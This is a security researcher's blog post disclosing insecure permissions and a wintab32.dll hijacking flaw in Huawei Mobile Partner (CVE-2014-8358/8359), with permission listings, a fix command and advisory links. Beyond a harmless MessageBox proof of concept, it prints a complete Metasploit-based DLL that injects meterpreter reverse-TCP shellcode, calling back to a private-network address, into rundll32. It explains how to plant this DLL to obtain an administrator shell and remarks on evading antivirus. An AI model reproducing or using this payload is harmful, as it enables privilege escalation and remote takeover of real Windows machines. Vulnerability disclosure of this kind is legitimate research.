Mobile Partner is a very popular software that ships with Huawei internet dongles. Recently I noticed the fact that the “Mobile Partner” directory and all subdirectories, files by default has full permissions granted the Users group. This means that any User in your system can plant a malicious executable and escalate privileges when the Administrator runs Mobile Partner. Why not bind the exe using msfpayload or msfvenom? 😉
Proof of Concept
By default in my dongle I had Mobile Partner 11.302.09.00.03 and if you are using versions below you might find out that this folder and it’s contents has been granted full permissions not only to the Users group but also to Everyone which means any random user can plant anything inside this directory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
C:\Program Files (x86)>cacls "Mobile Partner" C:\Program Files (x86)\Mobile Partner Everyone:(OI)(CI)F BUILTIN\Users:(OI)(CI)F NT SERVICE\TrustedInstaller:(ID)F NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F CREATOR OWNER:(OI)(CI)(IO)(ID)F APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(ID)(special access:) GENERIC_READ GENERIC_EXECUTE C:\Program Files>cd "Mobile Partner" C:\Program Files (x86)\Mobile Partner>cacls "Mobile Partner.exe" C:\Program Files (x86)\Mobile Partner\Mobile Partner.exe Everyone:F BUILTIN\Users:F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R |
However after downloading the latest version 23.009.05.03.1014 in which it turns out that “Everyone” group is no longer granted permissions but still “Users” group has full permissions.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
C:\Program Files>cacls "Mobile Partner" C:\Program Files\Mobile Partner BUILTIN\Users:(OI)(IO)F BUILTIN\Users:(CI)F NT SERVICE\TrustedInstaller:(ID)F NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F CREATOR OWNER:(OI)(CI)(IO)(ID)F C:\Program Files>cd "Mobile Partner" C:\Program Files\Mobile Partner>cacls "Mobile Partner.exe" C:\Program Files\Mobile Partner\Mobile Partner.exe BUILTIN\Users:F BUILTIN\Users:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F |
But after doing some more analysis I found out that Mobile Partner has a DLL hijacking vulnerability which is wintab32.dll. Looks like the target DLL is unavailable and the app seems to be desperately searching it. However we can successfully use this DLL to hijack and execute our code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
#include <windows.h> BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: owned(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int owned() { MessageBox(0, "Mobile Partner DLL Hijacked\nOsanda Malith", "POC", MB_OK | MB_ICONWARNING); } |
So why not place this vulnerable DLL inside the directory instead of planting malware 😉 I wasn’t lucky to find the function loaded by Mobile Partner. If you can find out the function, we can write our own Stage 1 of meterpreter and this might be undetectable to most anti-viruses, but still we can run our shellcode in a new process. This is the technique used by the Metasploit framework. I will be using this C template in this. Credits to HD Moore and to the MSF Development team. https://github.com/rapid7/metasploit-framework/tree/master/data/templates/src/pe/dll
I had to modified this a bit to self-compile by removing additional framework preprocessor directives. Generate your shellcode, in my case the meterpreter reverse tcp and paste it in the “code=” unsigned char.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
#include <windows.h> #define SCSIZE 2048 unsigned char code[SCSIZE] = "\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a" "\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b" "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38" "\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24" "\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01" "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f" "\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32" "\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" "\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0" "\xa8\x01\x04\x68\x02\x00\x23\x28\x89\xe6\x6a\x10\x56\x57\x68" "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec" "\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02" "\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56" "\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53" "\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75" "\xec\xc3"; /* hand-rolled bzero allows us to avoid including ms vc runtime */ void inline_bzero(void *p, size_t l) { BYTE *q = (BYTE *)p; size_t x = 0; for (x = 0; x < l; x++) *(q++) = 0x00; } void ExecutePayload(void); BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: ExecutePayload(); break; case DLL_PROCESS_DETACH: // Code to run when the DLL is freed break; case DLL_THREAD_ATTACH: // Code to run when a thread is created during the DLL's lifetime break; case DLL_THREAD_DETACH: // Code to run when a thread ends normally. break; } return TRUE; } void ExecutePayload(void) { int error; PROCESS_INFORMATION pi; STARTUPINFO si; CONTEXT ctx; DWORD prot; LPVOID ep; // Start up the payload in a new process inline_bzero( &si, sizeof( si )); si.cb = sizeof(si); // Create a suspended process, write shellcode into stack, make stack RWX, resume it if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) { ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; GetThreadContext(pi.hThread, &ctx); ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); #ifdef _WIN64 ctx.Rip = (DWORD64)ep; #else ctx.Eip = (DWORD)ep; #endif SetThreadContext(pi.hThread,&ctx); ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } // ExitProcess(0); ExitThread(0); } |
Rename it to wintab32.dll and place it inside the Mobile Partner directory. That is it, once the Admin user opens Mobile Partner.exe It will search this DLL and we can nicely get an Admin shell on the box 🙂
To fix this you can apply ACL rules only to Read and Read & Execute to the “Users” and to the “Everyone” groups to every sub folder and files in it. You can do it simply by the following command.
1 |
cacls "Mobile Partner" /e /t /c /p "Everyone":r "Users":r |
Here is a very short demo just to demonstrate this scenario.
Acknowledgement can be viewed from this link:
Advisories
CVE: CVE-2014-8358, CVE-2014-8359
http://xforce.iss.net/xforce/xfdb/97682
http://xforce.iss.net/xforce/xfdb/97681
http://www.securityfocus.com/bid/70672/info
http://www.securityfocus.com/bid/70671/info
http://packetstormsecurity.com/files/128767/Huawei-Mobile-Partner-DLL-Hijacking.html
Congratulations for your great work and your thorough and insightful analysis.
Thank you!